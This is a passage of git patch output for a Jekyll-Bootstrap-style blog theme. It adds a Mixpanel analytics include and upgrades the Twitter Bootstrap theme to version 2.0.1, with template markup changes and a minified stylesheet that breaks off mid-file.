"getclicky" %} {% include JB/analytics-providers/getclicky %} +{% when "mixpanel" %} + {% include JB/analytics-providers/mixpanel %} {% when "custom" %} {% include custom/analytics %} {% endcase %} diff --git a/_includes/JB/analytics-providers/mixpanel b/_includes/JB/analytics-providers/mixpanel new file mode 100644 index 0000000..4406eb0 --- /dev/null +++ b/_includes/JB/analytics-providers/mixpanel @@ -0,0 +1,11 @@ +<script type="text/javascript"> + var mpq = []; + mpq.push(["init", "{{ site.JB.analytics.mixpanel.token}}"]); + (function(){var b,a,e,d,c;b=document.createElement("script");b.type="text/javascript"; + b.async=true;b.src=(document.location.protocol==="https:"?"https:":"http:")+ + "//api.mixpanel.com/site_media/js/api/mixpanel.js";a=document.getElementsByTagName("script")[0]; + a.parentNode.insertBefore(b,a);e=function(f){return function(){mpq.push( + [f].concat(Array.prototype.slice.call(arguments,0)))}};d=["init","track","track_links", + "track_forms","register","register_once","identify","name_tag","set_config"];for(c=0;c< + d.length;c++){mpq[d[c]]=e(d[c])}})(); +</script> \ No newline at end of file From 309a6f47206317e8b501672b3edd1bd2e33215e7 Mon Sep 17 00:00:00 2001 From: Darren Jeacocke <dazonic@me.com> Date: Thu, 1 Mar 2012 12:27:14 +1000 Subject: [PATCH 083/144] Update to bootstrap 2.0.1 --- _includes/themes/twitter/default.html | 6 +- _includes/themes/twitter/page.html | 2 +- _includes/themes/twitter/post.html | 2 +- .../twitter/bootstrap/css/bootstrap.min.css | 632 ++++++++++++++++++ .../img/glyphicons-halflings-white.png | Bin 0 -> 4352 bytes .../bootstrap/img/glyphicons-halflings.png | Bin 0 -> 4352 bytes assets/themes/twitter/css/1.4.0/bootstrap.css | 356 ---------- assets/themes/twitter/css/style.css | 10 +- 8 files changed, 642 insertions(+), 366 deletions(-) create mode 100644 assets/themes/twitter/bootstrap/css/bootstrap.min.css create mode 100644 assets/themes/twitter/bootstrap/img/glyphicons-halflings-white.png create mode 100644 assets/themes/twitter/bootstrap/img/glyphicons-halflings.png delete mode 100644 assets/themes/twitter/css/1.4.0/bootstrap.css diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index cb1f306..a94394c 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -12,7 +12,7 @@ <![endif]--> <!-- Le styles --> - <link href="{{ ASSET_PATH }}/css/1.4.0/bootstrap.css" rel="stylesheet"> + <link href="{{ ASSET_PATH }}/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="{{ ASSET_PATH }}/css/style.css?body=1" rel="stylesheet" type="text/css" media="all"> <!-- Le fav and touch icons --> @@ -26,8 +26,8 @@ <body> - <div class="topbar"> - <div class="fill"> + <div class="navbar"> + <div class="navbar-inner"> <div class="container"> <a class="brand" href="{{ HOME_PATH }}">{{ site.title }}</a> <ul class="nav"> diff --git a/_includes/themes/twitter/page.html b/_includes/themes/twitter/page.html index 7ac6fab..6f25eb1 100644 --- a/_includes/themes/twitter/page.html +++ b/_includes/themes/twitter/page.html @@ -3,7 +3,7 @@ <h1>{{ page.title }} <small>Supporting tagline</small></h1> </div> <div class="row"> - <div class="span14"> + <div class="span12"> {{ content }} </div> </div> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 416af10..0b9f472 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -3,7 +3,7 @@ <h1>{{ page.title }} <small>Supporting tagline</small></h1> </div> <div class="row"> - <div class="span10"> + <div class="span8"> {{ content }} <hr> <div class="pagination"> diff --git a/assets/themes/twitter/bootstrap/css/bootstrap.min.css b/assets/themes/twitter/bootstrap/css/bootstrap.min.css new file mode 100644 index 0000000..30dcae0 --- /dev/null +++ b/assets/themes/twitter/bootstrap/css/bootstrap.min.css @@ -0,0 +1,632 @@ +article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block;} +audio,canvas,video{display:inline-block;*display:inline;*zoom:1;} +audio:not([controls]){display:none;} +html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;} +a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} +a:hover,a:active{outline:0;} +sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline;} +sup{top:-0.5em;} +sub{bottom:-0.25em;} +img{max-width:100%;height:auto;border:0;-ms-interpolation-mode:bicubic;} +button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle;} +button,input{*overflow:visible;line-height:normal;} +button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0;} +button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button;} +input[type="search"]{-webkit-appearance:textfield;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;} +input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none;} +textarea{overflow:auto;vertical-align:top;} +.clearfix{*zoom:1;}.clearfix:before,.clearfix:after{display:table;content:"";} +.clearfix:after{clear:both;} +body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;line-height:18px;color:#333333;background-color:#ffffff;} +a{color:#0088cc;text-decoration:none;} +a:hover{color:#005580;text-decoration:underline;} +.row{margin-left:-20px;*zoom:1;}.row:before,.row:after{display:table;content:"";} +.row:after{clear:both;} +[class*="span"]{float:left;margin-left:20px;} +.span1{width:60px;} +.span2{width:140px;} +.span3{width:220px;} +.span4{width:300px;} +.span5{width:380px;} +.span6{width:460px;} +.span7{width:540px;} +.span8{width:620px;} +.span9{width:700px;} +.span10{width:780px;} +.span11{width:860px;} +.span12,.container{width:940px;} +.offset1{margin-left:100px;} +.offset2{margin-left:180px;} +.offset3{margin-left:260px;} +.offset4{margin-left:340px;} +.offset5{margin-left:420px;} +.offset6{margin-left:500px;} +.offset7{margin-left:580px;} +.offset8{margin-left:660px;} +.offset9{margin-left:740px;} +.offset10{margin-left:820px;} +.offset11{margin-left:900px;} +.row-fluid{width:100%;*zoom:1;}.row-fluid:before,.row-fluid:after{display:table;content:"";} +.row-fluid:after{clear:both;} +.row-fluid>[class*="span"]{float:left;margin-left:2.127659574%;} +.row-fluid>[class*="span"]:first-child{margin-left:0;} +.row-fluid>.span1{width:6.382978723%;} +.row-fluid>.span2{width:14.89361702%;} +.row-fluid>.span3{width:23.404255317%;} +.row-fluid>.span4{width:31.914893614%;} +.row-fluid>.span5{width:40.425531911%;} +.row-fluid>.span6{width:48.93617020799999%;} +.row-fluid>.span7{width:57.446808505%;} +.row-fluid>.span8{width:65.95744680199999%;} +.row-fluid>.span9{width:74.468085099%;} +.row-fluid>.span10{width:82.97872339599999%;} +.row-fluid>.span11{width:91.489361693%;} +.row-fluid>.span12{width:99.99999998999999%;} +.container{width:940px;margin-left:auto;margin-right:auto;*zoom:1;}.container:before,.container:after{display:table;content:"";} +.container:after{clear:both;} +.container-fluid{padding-left:20px;padding-right:20px;*zoom:1;}.container-fluid:before,.container-fluid:after{display:table;content:"";} +.container-fluid:after{clear:both;} +p{margin:0 0 9px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;line-height:18px;}p small{font-size:11px;color:#999999;} +.lead{margin-bottom:18px;font-size:20px;font-weight:200;line-height:27px;} +h1,h2,h3,h4,h5,h6{margin:0;font-weight:bold;color:#333333;text-rendering:optimizelegibility;}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-weight:normal;color:#999999;} +h1{font-size:30px;line-height:36px;}h1 small{font-size:18px;} +h2{font-size:24px;line-height:36px;}h2 small{font-size:18px;} +h3{line-height:27px;font-size:18px;}h3 small{font-size:14px;} +h4,h5,h6{line-height:18px;} +h4{font-size:14px;}h4 small{font-size:12px;} +h5{font-size:12px;} +h6{font-size:11px;color:#999999;text-transform:uppercase;} +.page-header{padding-bottom:17px;margin:18px 0;border-bottom:1px solid #eeeeee;} +.page-header h1{line-height:1;} +ul,ol{padding:0;margin:0 0 9px 25px;} +ul ul,ul ol,ol ol,ol ul{margin-bottom:0;} +ul{list-style:disc;} +ol{list-style:decimal;} +li{line-height:18px;} +ul.unstyled,ol.unstyled{margin-left:0;list-style:none;} +dl{margin-bottom:18px;} +dt,dd{line-height:18px;} +dt{font-weight:bold;} +dd{margin-left:9px;} +hr{margin:18px 0;border:0;border-top:1px solid #eeeeee;border-bottom:1px solid #ffffff;} +strong{font-weight:bold;} +em{font-style:italic;} +.muted{color:#999999;} +abbr{font-size:90%;text-transform:uppercase;border-bottom:1px dotted #ddd;cursor:help;} +blockquote{padding:0 0 0 15px;margin:0 0 18px;border-left:5px solid #eeeeee;}blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:22.5px;} +blockquote small{display:block;line-height:18px;color:#999999;}blockquote small:before{content:'\2014 \00A0';} +blockquote.pull-right{float:right;padding-left:0;padding-right:15px;border-left:0;border-right:5px solid #eeeeee;}blockquote.pull-right p,blockquote.pull-right small{text-align:right;} +q:before,q:after,blockquote:before,blockquote:after{content:"";} +address{display:block;margin-bottom:18px;line-height:18px;font-style:normal;} +small{font-size:100%;} +cite{font-style:normal;} +code,pre{padding:0 3px 2px;font-family:Menlo,Monaco,"Courier New",monospace;font-size:12px;color:#333333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +code{padding:3px 4px;color:#d14;background-color:#f7f7f9;border:1px solid #e1e1e8;} +pre{display:block;padding:8.5px;margin:0 0 9px;font-size:12px;line-height:18px;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;white-space:pre;white-space:pre-wrap;word-break:break-all;word-wrap:break-word;}pre.prettyprint{margin-bottom:18px;} +pre code{padding:0;color:inherit;background-color:transparent;border:0;} +.pre-scrollable{max-height:340px;overflow-y:scroll;} +form{margin:0 0 18px;} +fieldset{padding:0;margin:0;border:0;} +legend{display:block;width:100%;padding:0;margin-bottom:27px;font-size:19.5px;line-height:36px;color:#333333;border:0;border-bottom:1px solid #eee;}legend small{font-size:13.5px;color:#999999;} +label,input,button,select,textarea{font-size:13px;font-weight:normal;line-height:18px;} +input,button,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;} +label{display:block;margin-bottom:5px;color:#333333;} +input,textarea,select,.uneditable-input{display:inline-block;width:210px;height:18px;padding:4px;margin-bottom:9px;font-size:13px;line-height:18px;color:#555555;border:1px solid #ccc;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} +.uneditable-textarea{width:auto;height:auto;} +label input,label textarea,label select{display:block;} +input[type="image"],input[type="checkbox"],input[type="radio"]{width:auto;height:auto;padding:0;margin:3px 0;*margin-top:0;line-height:normal;cursor:pointer;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;border:0 \9;} +input[type="image"]{border:0;} +input[type="file"]{width:auto;padding:initial;line-height:initial;border:initial;background-color:#ffffff;background-color:initial;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +input[type="button"],input[type="reset"],input[type="submit"]{width:auto;height:auto;} +select,input[type="file"]{height:28px;*margin-top:4px;line-height:28px;} +input[type="file"]{line-height:18px \9;} +select{width:220px;background-color:#ffffff;} +select[multiple],select[size]{height:auto;} +input[type="image"]{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;} +textarea{height:auto;} +input[type="hidden"]{display:none;} +.radio,.checkbox{padding-left:18px;} +.radio input[type="radio"],.checkbox input[type="checkbox"]{float:left;margin-left:-18px;} +.controls>.radio:first-child,.controls>.checkbox:first-child{padding-top:5px;} +.radio.inline,.checkbox.inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle;} +.radio.inline+.radio.inline,.checkbox.inline+.checkbox.inline{margin-left:10px;} +input,textarea{-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border linear 0.2s,box-shadow linear 0.2s;-moz-transition:border linear 0.2s,box-shadow linear 0.2s;-ms-transition:border linear 0.2s,box-shadow linear 0.2s;-o-transition:border linear 0.2s,box-shadow linear 0.2s;transition:border linear 0.2s,box-shadow linear 0.2s;} +input:focus,textarea:focus{border-color:rgba(82, 168, 236, 0.8);-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 8px rgba(82, 168, 236, 0.6);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 8px rgba(82, 168, 236, 0.6);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 8px rgba(82, 168, 236, 0.6);outline:0;outline:thin dotted \9;} +input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus,select:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;} +.input-mini{width:60px;} +.input-small{width:90px;} +.input-medium{width:150px;} +.input-large{width:210px;} +.input-xlarge{width:270px;} +.input-xxlarge{width:530px;} +input[class*="span"],select[class*="span"],textarea[class*="span"],.uneditable-input{float:none;margin-left:0;} +input.span1,textarea.span1,.uneditable-input.span1{width:50px;} +input.span2,textarea.span2,.uneditable-input.span2{width:130px;} +input.span3,textarea.span3,.uneditable-input.span3{width:210px;} +input.span4,textarea.span4,.uneditable-input.span4{width:290px;} +input.span5,textarea.span5,.uneditable-input.span5{width:370px;} +input.span6,textarea.span6,.uneditable-input.span6{width:450px;} +input.span7,textarea.span7,.uneditable-input.span7{width:530px;} +input.span8,textarea.span8,.uneditable-input.span8{width:610px;} +input.span9,textarea.span9,.uneditable-input.span9{width:690px;} +input.span10,textarea.span10,.uneditable-input.span10{width:770px;} +input.span11,textarea.span11,.uneditable-input.span11{width:850px;} +input.span12,textarea.span12,.uneditable-input.span12{width:930px;} +input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{background-color:#f5f5f5;border-color:#ddd;cursor:not-allowed;} +.control-group.warning>label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853;} +.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853;border-color:#c09853;}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:0 0 6px #dbc59e;-moz-box-shadow:0 0 6px #dbc59e;box-shadow:0 0 6px #dbc59e;} +.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853;} +.control-group.error>label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48;} +.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48;border-color:#b94a48;}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:0 0 6px #d59392;-moz-box-shadow:0 0 6px #d59392;box-shadow:0 0 6px #d59392;} +.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48;} +.control-group.success>label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847;} +.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847;border-color:#468847;}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:0 0 6px #7aba7b;-moz-box-shadow:0 0 6px #7aba7b;box-shadow:0 0 6px #7aba7b;} +.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847;} +input:focus:required:invalid,textarea:focus:required:invalid,select:focus:required:invalid{color:#b94a48;border-color:#ee5f5b;}input:focus:required:invalid:focus,textarea:focus:required:invalid:focus,select:focus:required:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;} +.form-actions{padding:17px 20px 18px;margin-top:18px;margin-bottom:18px;background-color:#f5f5f5;border-top:1px solid #ddd;} +.uneditable-input{display:block;background-color:#ffffff;border-color:#eee;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);cursor:not-allowed;} +:-moz-placeholder{color:#999999;} +::-webkit-input-placeholder{color:#999999;} +.help-block{display:block;margin-top:5px;margin-bottom:0;color:#999999;} +.help-inline{display:inline-block;*display:inline;*zoom:1;margin-bottom:9px;vertical-align:middle;padding-left:5px;} +.input-prepend,.input-append{margin-bottom:5px;*zoom:1;}.input-prepend:before,.input-append:before,.input-prepend:after,.input-append:after{display:table;content:"";} +.input-prepend:after,.input-append:after{clear:both;} +.input-prepend input,.input-append input,.input-prepend .uneditable-input,.input-append .uneditable-input{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;}.input-prepend input:focus,.input-append input:focus,.input-prepend .uneditable-input:focus,.input-append .uneditable-input:focus{position:relative;z-index:2;} +.input-prepend .uneditable-input,.input-append .uneditable-input{border-left-color:#ccc;} +.input-prepend .add-on,.input-append .add-on{float:left;display:block;width:auto;min-width:16px;height:18px;margin-right:-1px;padding:4px 5px;font-weight:normal;line-height:18px;color:#999999;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#f5f5f5;border:1px solid #ccc;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} +.input-prepend .active,.input-append .active{background-color:#a9dba9;border-color:#46a546;} +.input-prepend .add-on{*margin-top:1px;} +.input-append input,.input-append .uneditable-input{float:left;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px;} +.input-append .uneditable-input{border-left-color:#eee;border-right-color:#ccc;} +.input-append .add-on{margin-right:0;margin-left:-1px;-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0;} +.input-append input:first-child{*margin-left:-160px;}.input-append input:first-child+.add-on{*margin-left:-21px;} +.search-query{padding-left:14px;padding-right:14px;margin-bottom:0;-webkit-border-radius:14px;-moz-border-radius:14px;border-radius:14px;} +.form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input{display:inline-block;margin-bottom:0;} +.form-search .hide,.form-inline .hide,.form-horizontal .hide{display:none;} +.form-search label,.form-inline label,.form-search .input-append,.form-inline .input-append,.form-search .input-prepend,.form-inline .input-prepend{display:inline-block;} +.form-search .input-append .add-on,.form-inline .input-prepend .add-on,.form-search .input-append .add-on,.form-inline .input-prepend .add-on{vertical-align:middle;} +.form-search .radio,.form-inline .radio,.form-search .checkbox,.form-inline .checkbox{margin-bottom:0;vertical-align:middle;} +.control-group{margin-bottom:9px;} +legend+.control-group{margin-top:18px;-webkit-margin-top-collapse:separate;} +.form-horizontal .control-group{margin-bottom:18px;*zoom:1;}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;content:"";} +.form-horizontal .control-group:after{clear:both;} +.form-horizontal .control-label{float:left;width:140px;padding-top:5px;text-align:right;} +.form-horizontal .controls{margin-left:160px;} +.form-horizontal .form-actions{padding-left:160px;} +table{max-width:100%;border-collapse:collapse;border-spacing:0;} +.table{width:100%;margin-bottom:18px;}.table th,.table td{padding:8px;line-height:18px;text-align:left;vertical-align:top;border-top:1px solid #ddd;} +.table th{font-weight:bold;} +.table thead th{vertical-align:bottom;} +.table thead:first-child tr th,.table thead:first-child tr td{border-top:0;} +.table tbody+tbody{border-top:2px solid #ddd;} +.table-condensed th,.table-condensed td{padding:4px 5px;} +.table-bordered{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapsed;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;}.table-bordered th+th,.table-bordered td+td,.table-bordered th+td,.table-bordered td+th{border-left:1px solid #ddd;} +.table-bordered thead:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child th,.table-bordered tbody:first-child tr:first-child td{border-top:0;} +.table-bordered thead:first-child tr:first-child th:first-child,.table-bordered tbody:first-child tr:first-child td:first-child{-webkit-border-radius:4px 0 0 0;-moz-border-radius:4px 0 0 0;border-radius:4px 0 0 0;} +.table-bordered thead:first-child tr:first-child th:last-child,.table-bordered tbody:first-child tr:first-child td:last-child{-webkit-border-radius:0 4px 0 0;-moz-border-radius:0 4px 0 0;border-radius:0 4px 0 0;} +.table-bordered thead:last-child tr:last-child th:first-child,.table-bordered tbody:last-child tr:last-child td:first-child{-webkit-border-radius:0 0 0 4px;-moz-border-radius:0 0 0 4px;border-radius:0 0 0 4px;} +.table-bordered thead:last-child tr:last-child th:last-child,.table-bordered tbody:last-child tr:last-child td:last-child{-webkit-border-radius:0 0 4px 0;-moz-border-radius:0 0 4px 0;border-radius:0 0 4px 0;} +.table-striped tbody tr:nth-child(odd) td,.table-striped tbody tr:nth-child(odd) th{background-color:#f9f9f9;} +.table tbody tr:hover td,.table tbody tr:hover th{background-color:#f5f5f5;} +table .span1{float:none;width:44px;margin-left:0;} +table .span2{float:none;width:124px;margin-left:0;} +table .span3{float:none;width:204px;margin-left:0;} +table .span4{float:none;width:284px;margin-left:0;} +table .span5{float:none;width:364px;margin-left:0;} +table .span6{float:none;width:444px;margin-left:0;} +table .span7{float:none;width:524px;margin-left:0;} +table .span8{float:none;width:604px;margin-left:0;} +table .span9{float:none;width:684px;margin-left:0;} +table .span10{float:none;width:764px;margin-left:0;} +table .span11{float:none;width:844px;margin-left:0;} +table .span12{float:none;width:924px;margin-left:0;} +[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat;*margin-right:.3em;}[class^="icon-"]:last-child,[class*=" icon-"]:last-child{*margin-left:0;} +.icon-white{background-image:url("../img/glyphicons-halflings-white.png");} +.icon-glass{background-position:0 0;} +.icon-music{background-position:-24px 0;} +.icon-search{background-position:-48px 0;} +.icon-envelope{background-position:-72px 0;} +.icon-heart{background-position:-96px 0;} +.icon-star{background-position:-120px 0;} +.icon-star-empty{background-position:-144px 0;} +.icon-user{background-position:-168px 0;} +.icon-film{background-position:-192px 0;} +.icon-th-large{background-position:-216px 0;} +.icon-th{background-position:-240px 0;} +.icon-th-list{background-position:-264px 0;} +.icon-ok{background-position:-288px 0;} +.icon-remove{background-position:-312px 0;} +.icon-zoom-in{background-position:-336px 0;} +.icon-zoom-out{background-position:-360px 0;} +.icon-off{background-position:-384px 0;} +.icon-signal{background-position:-408px 0;} +.icon-cog{background-position:-432px 0;} +.icon-trash{background-position:-456px 0;} +.icon-home{background-position:0 -24px;} +.icon-file{background-position:-24px -24px;} +.icon-time{background-position:-48px -24px;} +.icon-road{background-position:-72px -24px;} +.icon-download-alt{background-position:-96px -24px;} +.icon-download{background-position:-120px -24px;} +.icon-upload{background-position:-144px -24px;} +.icon-inbox{background-position:-168px -24px;} +.icon-play-circle{background-position:-192px -24px;} +.icon-repeat{background-position:-216px -24px;} +.icon-refresh{background-position:-240px -24px;} +.icon-list-alt{background-position:-264px -24px;} +.icon-lock{background-position:-287px -24px;} +.icon-flag{background-position:-312px -24px;} +.icon-headphones{background-position:-336px -24px;} +.icon-volume-off{background-position:-360px -24px;} +.icon-volume-down{background-position:-384px -24px;} +.icon-volume-up{background-position:-408px -24px;} +.icon-qrcode{background-position:-432px -24px;} +.icon-barcode{background-position:-456px -24px;} +.icon-tag{background-position:0 -48px;} +.icon-tags{background-position:-25px -48px;} +.icon-book{background-position:-48px -48px;} +.icon-bookmark{background-position:-72px -48px;} +.icon-print{background-position:-96px -48px;} +.icon-camera{background-position:-120px -48px;} +.icon-font{background-position:-144px -48px;} +.icon-bold{background-position:-167px -48px;} +.icon-italic{background-position:-192px -48px;} +.icon-text-height{background-position:-216px -48px;} +.icon-text-width{background-position:-240px -48px;} +.icon-align-left{background-position:-264px -48px;} +.icon-align-center{background-position:-288px -48px;} +.icon-align-right{background-position:-312px -48px;} +.icon-align-justify{background-position:-336px -48px;} +.icon-list{background-position:-360px -48px;} +.icon-indent-left{background-position:-384px -48px;} +.icon-indent-right{background-position:-408px -48px;} +.icon-facetime-video{background-position:-432px -48px;} +.icon-picture{background-position:-456px -48px;} +.icon-pencil{background-position:0 -72px;} +.icon-map-marker{background-position:-24px -72px;} +.icon-adjust{background-position:-48px -72px;} +.icon-tint{background-position:-72px -72px;} +.icon-edit{background-position:-96px -72px;} +.icon-share{background-position:-120px -72px;} +.icon-check{background-position:-144px -72px;} +.icon-move{background-position:-168px -72px;} +.icon-step-backward{background-position:-192px -72px;} +.icon-fast-backward{background-position:-216px -72px;} +.icon-backward{background-position:-240px -72px;} +.icon-play{background-position:-264px -72px;} +.icon-pause{background-position:-288px -72px;} +.icon-stop{background-position:-312px -72px;} +.icon-forward{background-position:-336px -72px;} +.icon-fast-forward{background-position:-360px -72px;} +.icon-step-forward{background-position:-384px -72px;} +.icon-eject{background-position:-408px -72px;} +.icon-chevron-left{background-position:-432px -72px;} +.icon-chevron-right{background-position:-456px -72px;} +.icon-plus-sign{background-position:0 -96px;} +.icon-minus-sign{background-position:-24px -96px;} +.icon-remove-sign{background-position:-48px -96px;} +.icon-ok-sign{background-position:-72px -96px;} +.icon-question-sign{background-position:-96px -96px;} +.icon-info-sign{background-position:-120px -96px;} +.icon-screenshot{background-position:-144px -96px;} +.icon-remove-circle{background-position:-168px -96px;} +.icon-ok-circle{background-position:-192px -96px;} +.icon-ban-circle{background-position:-216px -96px;} +.icon-arrow-left{background-position:-240px -96px;} +.icon-arrow-right{background-position:-264px -96px;} +.icon-arrow-up{background-position:-289px -96px;} +.icon-arrow-down{background-position:-312px -96px;} +.icon-share-alt{background-position:-336px -96px;} +.icon-resize-full{background-position:-360px -96px;} +.icon-resize-small{background-position:-384px -96px;} +.icon-plus{background-position:-408px -96px;} +.icon-minus{background-position:-433px -96px;} +.icon-asterisk{background-position:-456px -96px;} +.icon-exclamation-sign{background-position:0 -120px;} +.icon-gift{background-position:-24px -120px;} +.icon-leaf{background-position:-48px -120px;} +.icon-fire{background-position:-72px -120px;} +.icon-eye-open{background-position:-96px -120px;} +.icon-eye-close{background-position:-120px -120px;} +.icon-warning-sign{background-position:-144px -120px;} +.icon-plane{background-position:-168px -120px;} +.icon-calendar{background-position:-192px -120px;} +.icon-random{background-position:-216px -120px;} +.icon-comment{background-position:-240px -120px;} +.icon-magnet{background-position:-264px -120px;} +.icon-chevron-up{background-position:-288px -120px;} +.icon-chevron-down{background-position:-313px -119px;} +.icon-retweet{background-position:-336px -120px;} +.icon-shopping-cart{background-position:-360px -120px;} +.icon-folder-close{background-position:-384px -120px;} +.icon-folder-open{background-position:-408px -120px;} +.icon-resize-vertical{background-position:-432px -119px;} +.icon-resize-horizontal{background-position:-456px -118px;} +.dropdown{position:relative;} +.dropdown-toggle{*margin-bottom:-3px;} +.dropdown-toggle:active,.open .dropdown-toggle{outline:0;} +.caret{display:inline-block;width:0;height:0;text-indent:-99999px;*text-indent:0;vertical-align:top;border-left:4px solid transparent;border-right:4px solid transparent;border-top:4px solid #000000;opacity:0.3;filter:alpha(opacity=30);content:"\2193";} +.dropdown .caret{margin-top:8px;margin-left:2px;} +.dropdown:hover .caret,.open.dropdown .caret{opacity:1;filter:alpha(opacity=100);} +.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;float:left;display:none;min-width:160px;_width:160px;padding:4px 0;margin:0;list-style:none;background-color:#ffffff;border-color:#ccc;border-color:rgba(0, 0, 0, 0.2);border-style:solid;border-width:1px;-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box;*border-right-width:2px;*border-bottom-width:2px;}.dropdown-menu.bottom-up{top:auto;bottom:100%;margin-bottom:2px;} +.dropdown-menu .divider{height:1px;margin:5px 1px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff;*width:100%;*margin:-5px 0 5px;} +.dropdown-menu a{display:block;padding:3px 15px;clear:both;font-weight:normal;line-height:18px;color:#555555;white-space:nowrap;} +.dropdown-menu li>a:hover,.dropdown-menu .active>a,.dropdown-menu .active>a:hover{color:#ffffff;text-decoration:none;background-color:#0088cc;} +.dropdown.open{*z-index:1000;}.dropdown.open .dropdown-toggle{color:#ffffff;background:#ccc;background:rgba(0, 0, 0, 0.3);} +.dropdown.open .dropdown-menu{display:block;} +.typeahead{margin-top:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} +.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #eee;border:1px solid rgba(0, 0, 0, 0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);}.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15);} +.fade{-webkit-transition:opacity 0.15s 